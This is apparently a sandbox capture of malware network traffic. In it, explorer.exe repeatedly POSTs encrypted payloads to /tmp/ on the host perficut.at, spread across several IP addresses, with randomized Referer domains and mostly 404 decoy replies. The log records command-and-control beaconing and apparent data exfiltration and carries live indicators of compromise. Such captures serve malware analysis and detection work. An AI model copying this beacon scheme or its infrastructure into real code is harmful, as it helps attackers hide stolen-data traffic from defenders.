Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49711	58.235.189.192	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:01:52.457994938 CET	4641	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://uesvypdni.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 239 Host: perficut.at
Feb 16, 2023 10:01:52.458079100 CET	4641	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 01 6b 2c 90 f5 76 0b 75 6e 1e f3 8f Data Ascii: ;n%!t{~bc}tsGlV\rd!n?$`7C[zqNA -[k,vunSEwQk?Uf4KUO(yKa 50;:5{F!4\(mC\|IW.j[%:%,bg7ss.D
Feb 16, 2023 10:01:53.706219912 CET	4642	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:01:53 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49712	95.158.162.200	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:01:53.867978096 CET	4642	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yqfpriai.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 138 Host: perficut.at
Feb 16, 2023 10:01:53.868058920 CET	4643	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 06 6b 2c 90 f5 76 0b 75 4c 06 c7 fb Data Ascii: ;n%!t{~bc}tsGlV\rd!n?$`7C[zqNA -[k,vuLLZEx`5R_HaE/TK3I
Feb 16, 2023 10:01:54.206713915 CET	4643	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:01:54 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.4	49713	58.235.189.192	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:01:54.629961967 CET	4644	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://teuxj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 307 Host: perficut.at
Feb 16, 2023 10:01:54.630008936 CET	4645	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 07 6b 2c 90 f5 76 0b 75 3c 3b a5 a1 Data Ascii: ;n%!t{~bc}tsGlV\rd!n?*$`7C[zqNA -[k,vu<;(dea!Fs,=1tqF5Z%XdeH[#{IUvoZ.1.T>cYRBA?yyOtDuEe6C
Feb 16, 2023 10:01:55.570550919 CET	4645	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:01:55 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.4	49714	123.140.161.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:01:55.934287071 CET	4646	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nxsgippqjj.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 222 Host: perficut.at
Feb 16, 2023 10:01:55.934346914 CET	4647	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 04 6b 2c 90 f5 76 0b 75 45 2e ba f2 Data Ascii: ;n%!t{~bc}tsGlV\rd!n?*$`7C[zqNA -[k,vuE.iWY4O4Tniv\pV#l;T9s`!z6e=5]t7_YX6kCgg5
Feb 16, 2023 10:01:57.103809118 CET	4648	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:01:56 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49696	211.104.254.139	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:01:17.913929939 CET	93	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://veixmsu.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 239 Host: perficut.at
Feb 16, 2023 10:01:17.913997889 CET	94	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0a 6b 2c 90 f5 76 0b 75 39 21 da b5 Data Ascii: ;n%!t{~bc}tsGlV\rd!n?*$`7C[zqNA -[k,vu9!I\|_eZ\|B,$W0-Dj=0"0@GAh%=?]YfCxx#JPd4#IOO'p~lW
Feb 16, 2023 10:01:19.198020935 CET	94	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:01:18 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.4	49715	187.212.182.57	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:01:57.602086067 CET	4649	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mijclcs.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 240 Host: perficut.at
Feb 16, 2023 10:01:57.602132082 CET	4649	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 05 6b 2c 90 f5 76 0b 75 7a 4b e1 ed Data Ascii: ;n%!t{~bc}tsGlV\rd!n?*$`7C[zqNA -[k,vuzK0imWveG>$7VMFsS\|U%O#HYZ-/(Y5WXU7o%6<Nq"KE^Hp4Z"X'
Feb 16, 2023 10:01:58.220875978 CET	4649	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:01:57 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.4	49716	95.158.162.200	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:01:58.453947067 CET	4650	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hayinaaqbg.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 357 Host: perficut.at
Feb 16, 2023 10:01:58.453994989 CET	4651	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1a 6b 2c 90 f5 76 0b 75 65 57 c7 bc Data Ascii: ;n%!t{~bc}tsGlV\rd!n?*$`7C[zqNA -[k,vueWUIQ\wpDDQr)NJnm?o<NP]g &jS4`PcyYf7XB>G h?{G(%Un>'0%n
Feb 16, 2023 10:01:58.724737883 CET	4652	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:01:58 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.4	49717	58.235.189.192	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:01:59.146616936 CET	4653	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rtyhk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 304 Host: perficut.at
Feb 16, 2023 10:01:59.146684885 CET	4653	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1b 6b 2c 90 f5 76 0b 75 49 17 cb aa Data Ascii: ;n%!t{~bc}tsGlV\rd!n?$`7C[zqNA -[k,vuI^bfM!cL]<`0PCmuC=L\s_@#<[S\JW_C&N?>ecZC>Uwc6k
Feb 16, 2023 10:02:00.422382116 CET	4654	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:01:59 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.4	49718	95.158.162.200	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:02:00.553108931 CET	4655	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gdqcqltc.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 254 Host: perficut.at
Feb 16, 2023 10:02:00.553170919 CET	4655	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 18 6b 2c 90 f5 76 0b 75 7e 3f b7 ed Data Ascii: ;n%!t{~bc}tsGlV\rd!n?$`7C[zqNA -[k,vu~?qRIui<=65dEnWx&Z$}&=}qq1-o~;&r=}e69_N@!;dvhR}Ig@!n
Feb 16, 2023 10:02:00.874716043 CET	4655	IN	HTTP/1.1 200 OK Date: Thu, 16 Feb 2023 09:02:00 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.4	49719	86.122.83.142	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:02:00.986648083 CET	4656	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bgweyxmmy.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 228 Host: perficut.at
